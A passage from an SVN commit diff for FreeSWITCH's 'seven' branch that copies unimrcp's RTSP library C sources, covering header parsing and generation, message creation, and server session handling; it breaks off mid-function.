+/* Receive RTSP message through RTSP connection */
+static apt_bool_t rtsp_client_message_receive(apt_net_client_task_t *task, apt_net_client_connection_t *connection)
+{
+	rtsp_client_t *client = apt_net_client_task_object_get(task);
+	rtsp_client_connection_t *rtsp_connection;
+	apr_status_t status;
+	apr_size_t offset;
+	apr_size_t length;
+	apt_text_stream_t *stream;
+
+	if(!connection || !connection->sock) {
+		return FALSE;
+	}
+	rtsp_connection = connection->obj;
+	stream = &rtsp_connection->rx_stream;
+
+	/* init length of the stream */
+	stream->text.length = sizeof(rtsp_connection->rx_buffer)-1;
+	/* calculate offset remaining from the previous receive / if any */
+	offset = stream->pos - stream->text.buf;
+	/* calculate available length */
+	length = stream->text.length - offset;
+	status = apr_socket_recv(connection->sock,stream->pos,&length);
+	if(status == APR_EOF || length == 0) {
+		return rtsp_client_on_disconnect(client,rtsp_connection);
+	}
+	/* calculate actual length of the stream */
+	stream->text.length = offset + length;
+	stream->pos[length] = '\0';
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive RTSP Stream %s [%lu bytes]\n%s",
+		connection->id,
+		length,
+		stream->pos);
+
+	/* reset pos */
+	stream->pos = stream->text.buf;
+	/* walk through the stream parsing RTSP messages */
+	return rtsp_stream_walk(rtsp_connection->parser,stream,rtsp_client_message_handler,rtsp_connection);
+}
+
+/* Process task message */
+static apt_bool_t rtsp_client_task_msg_process(apt_task_t *task, apt_task_msg_t *task_msg)
+{
+	apt_net_client_task_t *net_task = apt_task_object_get(task);
+	rtsp_client_t *client = apt_net_client_task_object_get(net_task);
+
+	task_msg_data_t *data = (task_msg_data_t*) task_msg->data;
+	switch(data->type) {
+		case TASK_MSG_SEND_MESSAGE:
+			rtsp_client_session_message_process(client,data->session,data->message);
+			break;
+		case TASK_MSG_TERMINATE_SESSION:
+			rtsp_client_session_terminate_process(client,data->session);
+			break;
+	}
+
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_header.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_header.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/src/rtsp_header.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_header.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_header.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,394 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "rtsp_header.h"
+#include "apt_string_table.h"
+
+/** String table of RTSP header fields (rtsp_header_field_id) */
+static const apt_str_table_item_t rtsp_header_string_table[] = {
+	{{"CSeq",           4},1},
+	{{"Transport",      9},0},
+	{{"Session",        7},0},
+	{{"RTP-Info",       8},0},
+	{{"Content-Type",  12},8},
+	{{"Content-Length",14},8}
+};
+
+/** String table of RTSP content types (rtsp_content_type) */
+static const apt_str_table_item_t rtsp_content_type_string_table[] = {
+	{{"application/sdp", 15},12},
+	{{"application/mrcp",16},12}
+};
+
+/** String table of RTSP transport protocols (rtsp_transport_e) */
+static const apt_str_table_item_t rtsp_transport_string_table[] = {
+	{{"RTP", 3},0}
+};
+
+/** String table of RTSP lower transport protocols (rtsp_lower_transport_e) */
+static const apt_str_table_item_t rtsp_lower_transport_string_table[] = {
+	{{"UDP", 3},0},
+	{{"TCP", 3},0}
+};
+
+/** String table of RTSP transport profiles (rtsp_profile_e) */
+static const apt_str_table_item_t rtsp_profile_string_table[] = {
+	{{"AVP", 3},0},
+	{{"SAVP",4},0}
+};
+
+/** String table of RTSP transport attributes (rtsp_transport_attrib_e) */
+static const apt_str_table_item_t rtsp_transport_attrib_string_table[] = {
+	{{"client_port", 11},0},
+	{{"server_port", 11},1},
+	{{"source",      6}, 1},
+	{{"destination", 11},0},
+	{{"unicast",     7}, 0},
+	{{"multicast",   9}, 0}
+};
+
+/** Parse RTSP transport port range */
+static apt_bool_t rtsp_port_range_parse(rtsp_port_range_t *port_range, apt_text_stream_t *stream)
+{
+	apt_str_t value;
+	/* read min value */
+	if(apt_text_field_read(stream,'-',TRUE,&value) == FALSE) {
+		return FALSE;
+	}
+	port_range->min = (apr_port_t)apt_size_value_parse(&value);
+	
+	/* read optional max value */
+	if(apt_text_field_read(stream,';',TRUE,&value) == TRUE) {
+		port_range->max = (apr_port_t)apt_size_value_parse(&value);
+	}
+
+	return TRUE;
+}
+
+/** Generate RTSP transport port range */
+static apt_bool_t rtsp_port_range_generate(rtsp_transport_attrib_e attrib, const rtsp_port_range_t *port_range, apt_text_stream_t *text_stream)
+{
+	const apt_str_t *str;
+	str = apt_string_table_str_get(rtsp_transport_attrib_string_table,RTSP_TRANSPORT_ATTRIB_COUNT,attrib);
+	if(!str) {
+		return FALSE;
+	}
+	apt_string_value_generate(str,text_stream);
+	apt_text_char_insert(text_stream,'=');
+	apt_size_value_generate(port_range->min,text_stream);
+	if(port_range->max > port_range->min) {
+		apt_text_char_insert(text_stream,'-');
+		apt_size_value_generate(port_range->max,text_stream);
+	}
+	return TRUE;
+}
+
+/** Parse RTSP source/destination address */
+static apt_bool_t rtsp_address_parse(apt_str_t *address, apt_text_stream_t *stream, apr_pool_t *pool)
+{
+	apt_str_t value;
+	/* read min value */
+	if(apt_text_field_read(stream,';',TRUE,&value) == FALSE) {
+		return FALSE;
+	}
+	apt_string_copy(address,&value,pool);
+	return TRUE;
+}
+
+/** Parse RTSP transport */
+static apt_bool_t rtsp_transport_attrib_parse(rtsp_transport_t *transport, const apt_str_t *field, apr_pool_t *pool)
+{
+	rtsp_transport_attrib_e attrib;
+	apt_str_t name;
+	apt_text_stream_t stream;
+
+	stream.text = *field;
+	stream.pos = stream.text.buf;
+
+	/* read attrib name */
+	if(apt_text_field_read(&stream,'=',TRUE,&name) == FALSE) {
+		return FALSE;
+	}
+
+	attrib = apt_string_table_id_find(rtsp_transport_attrib_string_table,RTSP_TRANSPORT_ATTRIB_COUNT,&name);
+	switch(attrib) {
+		case RTSP_TRANSPORT_ATTRIB_CLIENT_PORT:
+			rtsp_port_range_parse(&transport->client_port_range,&stream);
+			break;
+		case RTSP_TRANSPORT_ATTRIB_SERVER_PORT:
+			rtsp_port_range_parse(&transport->client_port_range,&stream);
+			break;
+		case RTSP_TRANSPORT_ATTRIB_SOURCE:
+			rtsp_address_parse(&transport->source,&stream,pool);
+			break;
+		case RTSP_TRANSPORT_ATTRIB_DESTINATION:
+			rtsp_address_parse(&transport->destination,&stream,pool);
+			break;
+		case RTSP_TRANSPORT_ATTRIB_UNICAST:
+			transport->delivery = RTSP_DELIVERY_UNICAST;
+			break;
+		case RTSP_TRANSPORT_ATTRIB_MULTICAST:
+			transport->delivery = RTSP_DELIVERY_MULTICAST;
+			break;
+		default:
+			break;
+	}
+	return TRUE;
+}
+
+/** Parse RTSP transport protocol (RTP/AVP[/UDP]) */
+static apt_bool_t rtsp_transport_protocol_parse(rtsp_transport_t *transport, const apt_str_t *value)
+{
+	apt_str_t field;
+	apt_text_stream_t stream;
+
+	stream.text = *value;
+	stream.pos = stream.text.buf;
+
+	/* set the defaults */
+	transport->protocol = RTSP_TRANSPORT_RTP;
+	transport->profile = RTSP_PROFILE_AVP;
+	transport->lower_protocol = RTSP_LOWER_TRANSPORT_UDP;
+
+	/* read transport protocol (RTP) */
+	if(apt_text_field_read(&stream,'/',TRUE,&field) == FALSE) {
+		return FALSE;
+	}
+	transport->protocol = apt_string_table_id_find(rtsp_transport_string_table,RTSP_TRANSPORT_COUNT,&field);
+	if(transport->protocol >= RTSP_TRANSPORT_COUNT) {
+		return FALSE;
+	}
+
+	/* read transport profile (AVP) */
+	if(apt_text_field_read(&stream,'/',TRUE,&field) == FALSE) {
+		return FALSE;
+	}
+	transport->profile = apt_string_table_id_find(rtsp_profile_string_table,RTSP_PROFILE_COUNT,&field);
+	if(transport->profile >= RTSP_PROFILE_COUNT) {
+		return FALSE;
+	}
+		
+	/* read optional lower transport protocol (UDP) */
+	if(apt_text_field_read(&stream,'/',TRUE,&field) == TRUE) {
+		transport->lower_protocol = apt_string_table_id_find(rtsp_lower_transport_string_table,RTSP_LOWER_TRANSPORT_COUNT,&field);
+		if(transport->lower_protocol >= RTSP_LOWER_TRANSPORT_COUNT) {
+			return FALSE;
+		}
+	}
+
+	return TRUE;
+}
+
+/** Parse RTSP transport */
+static apt_bool_t rtsp_transport_parse(rtsp_transport_t *transport, const apt_str_t *line, apr_pool_t *pool)
+{
+	apt_str_t field;
+	apt_text_stream_t stream;
+
+	stream.text = *line;
+	stream.pos = stream.text.buf;
+	/* read transport protocol (RTP/AVP[/UDP]) */
+	if(apt_text_field_read(&stream,';',TRUE,&field) == FALSE) {
+		return FALSE;
+	}
+	
+	/* parse transport protocol (RTP/AVP[/UDP]) */
+	if(rtsp_transport_protocol_parse(transport,&field) == FALSE) {
+		return FALSE;
+	}
+
+	/* read transport attributes */
+	while(apt_text_field_read(&stream,';',TRUE,&field) == TRUE) {
+		rtsp_transport_attrib_parse(transport,&field,pool);
+	}
+
+	return TRUE;
+}
+
+/** Generate RTSP transport */
+static apt_bool_t rtsp_transport_generate(rtsp_transport_t *transport, apt_text_stream_t *text_stream)
+{
+	const apt_str_t *protocol = apt_string_table_str_get(rtsp_transport_string_table,RTSP_TRANSPORT_COUNT,transport->protocol);
+	const apt_str_t *profile = apt_string_table_str_get(rtsp_profile_string_table,RTSP_PROFILE_COUNT,transport->profile);
+	if(!protocol || !profile) {
+		return FALSE;
+	}
+	apt_string_value_generate(protocol,text_stream);
+	apt_text_char_insert(text_stream,'/');
+	apt_string_value_generate(profile,text_stream);
+
+	if(transport->delivery != RTSP_DELIVERY_NONE) {
+		const apt_str_t *delivery = NULL;
+		rtsp_transport_attrib_e attrib = RTSP_TRANSPORT_ATTRIB_NONE;
+		if(transport->delivery == RTSP_DELIVERY_UNICAST) {
+			attrib = RTSP_TRANSPORT_ATTRIB_UNICAST;
+		}
+		else if(transport->delivery == RTSP_DELIVERY_MULTICAST) {
+			attrib = RTSP_TRANSPORT_ATTRIB_MULTICAST;
+		}
+		delivery = apt_string_table_str_get(rtsp_transport_attrib_string_table,RTSP_TRANSPORT_ATTRIB_COUNT,attrib);
+		if(!delivery) {
+			return FALSE;
+		}
+	
+		apt_text_char_insert(text_stream,';');
+		apt_string_value_generate(delivery,text_stream);
+	}
+
+	if(rtsp_port_range_is_valid(&transport->client_port_range) == TRUE) {
+		apt_text_char_insert(text_stream,';');
+		rtsp_port_range_generate(RTSP_TRANSPORT_ATTRIB_CLIENT_PORT,&transport->client_port_range,text_stream);
+	}
+	if(rtsp_port_range_is_valid(&transport->server_port_range) == TRUE) {
+		apt_text_char_insert(text_stream,';');
+		rtsp_port_range_generate(RTSP_TRANSPORT_ATTRIB_SERVER_PORT,&transport->server_port_range,text_stream);
+	}
+	return TRUE;
+}
+
+/** Parse RTSP transport */
+static apt_bool_t rtsp_session_id_parse(apt_str_t *session_id, const apt_str_t *value, apr_pool_t *pool)
+{
+	char *sep;
+	if(!value->buf) {
+		return FALSE;
+	}
+	apt_string_copy(session_id,value,pool);
+	sep = strchr(session_id->buf,';');
+	if(sep) {
+		session_id->length = sep - session_id->buf;
+		*sep = '\0';
+	}
+	return TRUE;
+}
+
+/** Parse RTSP header field */
+static apt_bool_t rtsp_header_field_parse(rtsp_header_t *header, rtsp_header_field_id id, const apt_str_t *value, apr_pool_t *pool)
+{
+	apt_bool_t status = TRUE;
+	switch(id) {
+		case RTSP_HEADER_FIELD_CSEQ:
+			header->cseq = apt_size_value_parse(value);
+			break;
+		case RTSP_HEADER_FIELD_TRANSPORT:
+			status = rtsp_transport_parse(&header->transport,value,pool);
+			break;
+		case RTSP_HEADER_FIELD_SESSION_ID:
+			status = rtsp_session_id_parse(&header->session_id,value,pool);
+			break;
+		case RTSP_HEADER_FIELD_RTP_INFO:
+			apt_string_copy(&header->rtp_info,value,pool);
+			break;
+		case RTSP_HEADER_FIELD_CONTENT_TYPE:
+			header->content_type = apt_string_table_id_find(rtsp_content_type_string_table,RTSP_CONTENT_TYPE_COUNT,value);
+			break;
+		case RTSP_HEADER_FIELD_CONTENT_LENGTH:
+			header->content_length = apt_size_value_parse(value);
+			break;
+		default:
+			status = FALSE;
+	}
+	return status;
+}
+
+/** Generate RTSP header field */
+static apr_size_t rtsp_header_field_generate(rtsp_header_t *header, apr_size_t id, apt_text_stream_t *value)
+{
+	switch(id) {
+		case RTSP_HEADER_FIELD_CSEQ:
+			apt_size_value_generate(header->cseq,value);
+			break;
+		case RTSP_HEADER_FIELD_TRANSPORT:
+			rtsp_transport_generate(&header->transport,value);
+			break;
+		case RTSP_HEADER_FIELD_SESSION_ID:
+			apt_string_value_generate(&header->session_id,value);
+			break;
+		case RTSP_HEADER_FIELD_RTP_INFO:
+			apt_string_value_generate(&header->rtp_info,value);
+			break;
+		case RTSP_HEADER_FIELD_CONTENT_TYPE:
+		{
+			const apt_str_t *name = apt_string_table_str_get(rtsp_content_type_string_table,RTSP_CONTENT_TYPE_COUNT,header->content_type);
+			if(name) {
+				apt_string_value_generate(name,value);
+			}
+			break;
+		}
+		case RTSP_HEADER_FIELD_CONTENT_LENGTH:
+			apt_size_value_generate(header->content_length,value);
+			break;
+		default:
+			break;
+	}
+	return TRUE;
+}
+
+/** Parse RTSP header */
+RTSP_DECLARE(apt_bool_t) rtsp_header_parse(rtsp_header_t *header, apt_text_stream_t *text_stream, apr_pool_t *pool)
+{
+	apt_pair_t pair;
+	apt_bool_t result = FALSE;
+
+	do {
+		if(apt_text_header_read(text_stream,&pair) == TRUE) {
+			if(pair.name.length) {
+				/* parse header_field (name/value) */
+				rtsp_header_field_id id = apt_string_table_id_find(rtsp_header_string_table,RTSP_HEADER_FIELD_COUNT,&pair.name);
+				if(id < RTSP_HEADER_FIELD_COUNT) {
+					if(rtsp_header_field_parse(header,id,&pair.value,pool) == TRUE) {
+						rtsp_header_property_add(&header->property_set,id);
+					}
+				}
+			}
+			else {
+				/* empty header -> exit */
+				result = TRUE;
+				break;
+			}
+		}
+	}
+	while(apt_text_is_eos(text_stream) == FALSE);
+
+	return result;
+}
+
+/** Generate RTSP header */
+RTSP_DECLARE(apt_bool_t) rtsp_header_generate(rtsp_header_t *header, apt_text_stream_t *text_stream)
+{
+	const apt_str_t *name;
+	apr_size_t i;
+	rtsp_header_property_t property_set;
+
+	property_set = header->property_set;
+	for(i=0; i<RTSP_HEADER_FIELD_COUNT && property_set != 0; i++) {
+		if(rtsp_header_property_check(&property_set,i) == TRUE) {
+			name = apt_string_table_str_get(rtsp_header_string_table,RTSP_HEADER_FIELD_COUNT,i);
+			if(!name) {
+				continue;
+			}
+			
+			apt_text_header_name_generate(name,text_stream);
+			rtsp_header_field_generate(header,i,text_stream);
+			apt_text_eol_insert(text_stream);
+			
+			rtsp_header_property_remove(&property_set,i);
+		}
+	}
+
+	apt_text_eol_insert(text_stream);
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_message.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_message.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/src/rtsp_message.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_message.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_message.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "rtsp_message.h"
+
+/** Initialize RTSP message */
+static APR_INLINE void rtsp_message_init(rtsp_message_t *message, rtsp_message_type_e message_type, apr_pool_t *pool)
+{
+	message->pool = pool;
+	rtsp_start_line_init(&message->start_line,message_type);
+	rtsp_header_init(&message->header);
+	apt_string_reset(&message->body);
+}
+
+/** Create RTSP message */
+RTSP_DECLARE(rtsp_message_t*) rtsp_message_create(rtsp_message_type_e message_type, apr_pool_t *pool)
+{
+	rtsp_message_t *message = apr_palloc(pool,sizeof(rtsp_message_t));
+	rtsp_message_init(message,message_type,pool);
+	return message;
+}
+
+/** Create RTSP request message */
+RTSP_DECLARE(rtsp_message_t*) rtsp_request_create(apr_pool_t *pool)
+{
+	rtsp_message_t *request = rtsp_message_create(RTSP_MESSAGE_TYPE_REQUEST,pool);
+	request->start_line.common.request_line.version = RTSP_VERSION_1;
+	return request;
+}
+
+/** Create RTSP response message */
+RTSP_DECLARE(rtsp_message_t*) rtsp_response_create(const rtsp_message_t *request, rtsp_status_code_e status_code, rtsp_reason_phrase_e reason, apr_pool_t *pool)
+{
+	const apt_str_t *reason_str;
+	rtsp_status_line_t *status_line;
+	rtsp_message_t *response = rtsp_message_create(RTSP_MESSAGE_TYPE_RESPONSE,request->pool);
+	status_line = &response->start_line.common.status_line;
+	status_line->version = request->start_line.common.request_line.version;
+	status_line->status_code = status_code;
+	reason_str = rtsp_reason_phrase_get(reason);
+	if(reason_str) {
+		apt_string_copy(&status_line->reason,reason_str,request->pool);
+	}
+
+	if(rtsp_header_property_check(&request->header.property_set,RTSP_HEADER_FIELD_CSEQ) == TRUE) {
+		response->header.cseq = request->header.cseq;
+		rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_CSEQ);
+	}
+
+	return response;
+}
+
+/** Destroy RTSP message */
+RTSP_DECLARE(void) rtsp_message_destroy(rtsp_message_t *message)
+{
+	/* nothing to do message is allocated from pool */
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_server.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_server.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/src/rtsp_server.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_server.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_server.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,650 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_hash.h>
+#include "rtsp_server.h"
+#include "rtsp_stream.h"
+#include "apt_net_server_task.h"
+#include "apt_text_stream.h"
+#include "apt_pool.h"
+#include "apt_obj_list.h"
+#include "apt_log.h"
+
+#define RTSP_SESSION_ID_HEX_STRING_LENGTH 16
+#define RTSP_STREAM_BUFFER_SIZE 1024
+
+typedef struct rtsp_server_connection_t rtsp_server_connection_t;
+
+/** RTSP server */
+struct rtsp_server_t {
+	apr_pool_t                 *pool;
+	apt_net_server_task_t      *task;
+
+	apr_pool_t                 *sub_pool;
+	apt_obj_list_t             *connection_list;
+
+	void                       *obj;
+	const rtsp_server_vtable_t *vtable;
+};
+
+/** RTSP connection */
+struct rtsp_server_connection_t {
+	/** Connection base */
+	apt_net_server_connection_t *base;
+
+	/** RTSP server, connection belongs to */
+	rtsp_server_t               *server;
+	/** Element of the connection list in agent */
+	apt_list_elem_t             *it;
+
+	/** Session table (rtsp_server_session_t*) */
+	apr_hash_t                  *session_table;
+
+	char                         rx_buffer[RTSP_STREAM_BUFFER_SIZE];
+	apt_text_stream_t            rx_stream;
+	rtsp_parser_t               *parser;
+
+	char                         tx_buffer[RTSP_STREAM_BUFFER_SIZE];
+	apt_text_stream_t            tx_stream;
+	rtsp_generator_t            *generator;
+};
+
+/** RTSP session */
+struct rtsp_server_session_t {
+	apr_pool_t               *pool;
+	void                     *obj;
+	rtsp_server_connection_t *connection;
+
+	/** Session identifier */
+	apt_str_t                 id;
+	apt_str_t                 url;
+
+	/** Last cseq sent */
+	apr_size_t                last_cseq;
+
+	/** In-progress request */
+	rtsp_message_t           *active_request;
+	/** request queue */
+	apt_obj_list_t           *request_queue;
+
+	/** In-progress termination request */
+	apt_bool_t                terminating;
+};
+
+typedef enum {
+	TASK_MSG_SEND_MESSAGE,
+	TASK_MSG_TERMINATE_SESSION
+} task_msg_data_type_e;
+
+typedef struct task_msg_data_t task_msg_data_t;
+
+struct task_msg_data_t {
+	task_msg_data_type_e   type;
+	rtsp_server_t         *server;
+	rtsp_server_session_t *session;
+	rtsp_message_t        *message;
+};
+
+static apt_bool_t rtsp_server_task_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+
+static apt_bool_t rtsp_server_on_connect(apt_net_server_task_t *task, apt_net_server_connection_t *connection);
+static apt_bool_t rtsp_server_on_disconnect(apt_net_server_task_t *task, apt_net_server_connection_t *connection);
+static apt_bool_t rtsp_server_message_receive(apt_net_server_task_t *task, apt_net_server_connection_t *connection);
+
+static const apt_net_server_vtable_t server_vtable = {
+	rtsp_server_on_connect,
+	rtsp_server_on_disconnect,
+	rtsp_server_message_receive
+};
+
+static apt_bool_t rtsp_server_message_send(rtsp_server_t *server, apt_net_server_connection_t *connection, rtsp_message_t *message);
+
+/** Create RTSP server */
+RTSP_DECLARE(rtsp_server_t*) rtsp_server_create(
+										const char *listen_ip,
+										apr_port_t listen_port,
+										apr_size_t max_connection_count,
+										void *obj,
+										const rtsp_server_vtable_t *handler,
+										apr_pool_t *pool)
+{
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+	rtsp_server_t *server;
+
+	if(!listen_ip) {
+		return NULL;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Create RTSP Server %s:%hu [%d]",listen_ip,listen_port,max_connection_count);
+	server = apr_palloc(pool,sizeof(rtsp_server_t));
+	server->pool = pool;
+	server->obj = obj;
+	server->vtable = handler;
+
+	msg_pool = apt_task_msg_pool_create_dynamic(sizeof(task_msg_data_t),pool);
+
+	server->task = apt_net_server_task_create(
+						listen_ip,listen_port,max_connection_count,
+						server,&server_vtable,msg_pool,pool);
+	if(!server->task) {
+		return NULL;
+	}
+
+	vtable = apt_net_server_task_vtable_get(server->task);
+	if(vtable) {
+		vtable->process_msg = rtsp_server_task_msg_process;
+	}
+
+	server->sub_pool = apt_subpool_create(pool);
+	server->connection_list = NULL;
+	return server;
+}
+
+/** Destroy RTSP server */
+RTSP_DECLARE(apt_bool_t) rtsp_server_destroy(rtsp_server_t *server)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Destroy RTSP Server");
+	return apt_net_server_task_destroy(server->task);
+}
+
+/** Start connection agent. */
+RTSP_DECLARE(apt_bool_t) rtsp_server_start(rtsp_server_t *server)
+{
+	return apt_net_server_task_start(server->task);
+}
+
+/** Terminate connection agent. */
+RTSP_DECLARE(apt_bool_t) rtsp_server_terminate(rtsp_server_t *server)
+{
+	return apt_net_server_task_terminate(server->task);
+}
+
+/** Get task */
+RTSP_DECLARE(apt_task_t*) rtsp_server_task_get(rtsp_server_t *server)
+{
+	return apt_net_server_task_base_get(server->task);
+}
+
+/** Get external object */
+RTSP_DECLARE(void*) rtsp_server_object_get(rtsp_server_t *server)
+{
+	return server->obj;
+}
+
+/** Get object associated with the session */
+RTSP_DECLARE(void*) rtsp_server_session_object_get(const rtsp_server_session_t *session)
+{
+	return session->obj;
+}
+
+/** Set object associated with the session */
+RTSP_DECLARE(void) rtsp_server_session_object_set(rtsp_server_session_t *session, void *obj)
+{
+	session->obj = obj;
+}
+
+/** Get the session identifier */
+RTSP_DECLARE(const apt_str_t*) rtsp_server_session_id_get(const rtsp_server_session_t *session)
+{
+	return &session->id;
+}
+
+/** Get active request */
+RTSP_DECLARE(const rtsp_message_t*) rtsp_server_session_request_get(const rtsp_server_session_t *session)
+{
+	return session->active_request;
+}
+
+/** Get the session destination (client) ip address */
+RTSP_DECLARE(const char*) rtsp_server_session_destination_get(const rtsp_server_session_t *session)
+{
+	if(session->connection) {
+		return session->connection->base->client_ip;
+	}
+	return NULL;
+}
+
+/** Signal task message */
+static apt_bool_t rtsp_server_control_message_signal(
+								task_msg_data_type_e type,
+								rtsp_server_t *server,
+								rtsp_server_session_t *session,
+								rtsp_message_t *message)
+{
+	apt_task_t *task = apt_net_server_task_base_get(server->task);
+	apt_task_msg_t *task_msg = apt_task_msg_get(task);
+	if(task_msg) {
+		task_msg_data_t *data = (task_msg_data_t*)task_msg->data;
+		data->type = type;
+		data->server = server;
+		data->session = session;
+		data->message = message;
+		apt_task_msg_signal(task,task_msg);
+	}
+	return TRUE;
+}
+
+/** Signal RTSP message */
+RTSP_DECLARE(apt_bool_t) rtsp_server_session_respond(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message)
+{
+	return rtsp_server_control_message_signal(TASK_MSG_SEND_MESSAGE,server,session,message);
+}
+
+/** Signal terminate response */
+RTSP_DECLARE(apt_bool_t) rtsp_server_session_terminate(rtsp_server_t *server, rtsp_server_session_t *session)
+{
+	return rtsp_server_control_message_signal(TASK_MSG_TERMINATE_SESSION,server,session,NULL);
+}
+
+/* Create RTSP session */
+static rtsp_server_session_t* rtsp_server_session_create(rtsp_server_t *server)
+{
+	rtsp_server_session_t *session;
+	apr_pool_t *pool = apt_pool_create();
+	session = apr_palloc(pool,sizeof(rtsp_server_session_t));
+	session->pool = pool;
+	session->obj = NULL;
+	session->last_cseq = 0;
+	session->active_request = NULL;
+	session->request_queue = apt_list_create(pool);
+	session->terminating = FALSE;
+
+	apt_string_reset(&session->url);
+	apt_unique_id_generate(&session->id,RTSP_SESSION_ID_HEX_STRING_LENGTH,pool);
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create RTSP Session "APT_SID_FMT,session->id.buf);
+	if(server->vtable->create_session(server,session) != TRUE) {
+		apr_pool_destroy(pool);
+		return NULL;
+	}
+	return session;
+}
+
+/* Destroy RTSP session */
+static void rtsp_server_session_destroy(rtsp_server_session_t *session)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy RTSP Session "APT_SID_FMT,session->id.buf);
+	if(session && session->pool) {
+		apr_pool_destroy(session->pool);
+	}
+}
+
+/* Finally terminate RTSP session */
+static apt_bool_t rtsp_server_session_do_terminate(rtsp_server_t *server, rtsp_server_session_t *session)
+{		
+	rtsp_server_connection_t *rtsp_connection = session->connection;
+
+	if(session->active_request) {
+		rtsp_message_t *response = rtsp_response_create(session->active_request,
+			RTSP_STATUS_CODE_OK,RTSP_REASON_PHRASE_OK,session->active_request->pool);
+		if(response) {
+			if(session->id.buf) {
+				response->header.session_id = session->id;
+				rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_SESSION_ID);
+			}
+
+			if(rtsp_connection) {
+				rtsp_server_message_send(server,rtsp_connection->base,response);
+			}
+		}
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove RTSP Session "APT_SID_FMT,session->id.buf);
+	apr_hash_set(rtsp_connection->session_table,session->id.buf,session->id.length,NULL);
+	rtsp_server_session_destroy(session);
+
+	if(rtsp_connection && !rtsp_connection->it) {
+		if(apr_hash_count(rtsp_connection->session_table) == 0) {
+			apt_net_server_connection_destroy(rtsp_connection->base);
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t rtsp_server_error_respond(rtsp_server_t *server, rtsp_server_connection_t *rtsp_connection, rtsp_message_t *request, 
+											rtsp_status_code_e status_code, rtsp_reason_phrase_e reason)
+{
+	/* send error response to client */
+	rtsp_message_t *response = rtsp_response_create(request,status_code,reason,request->pool);
+	if(rtsp_server_message_send(server,rtsp_connection->base,response) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Send RTSP Response");
+		return FALSE;
+	}
+	return TRUE;
+}
+
+static apt_bool_t rtsp_server_session_terminate_request(rtsp_server_t *server, rtsp_server_session_t *session)
+{
+	session->terminating = TRUE;
+	return server->vtable->terminate_session(server,session);
+}
+
+static apt_bool_t rtsp_server_session_message_handle(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message)
+{
+	if(message->start_line.common.request_line.method_id == RTSP_METHOD_TEARDOWN) {
+		rtsp_server_session_terminate_request(server,session);
+		return TRUE;
+	}
+
+	if(server->vtable->handle_message(server,session,message) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Handle Message "APT_SID_FMT,session->id.buf);
+		rtsp_server_error_respond(server,session->connection,message,
+								RTSP_STATUS_CODE_INTERNAL_SERVER_ERROR,
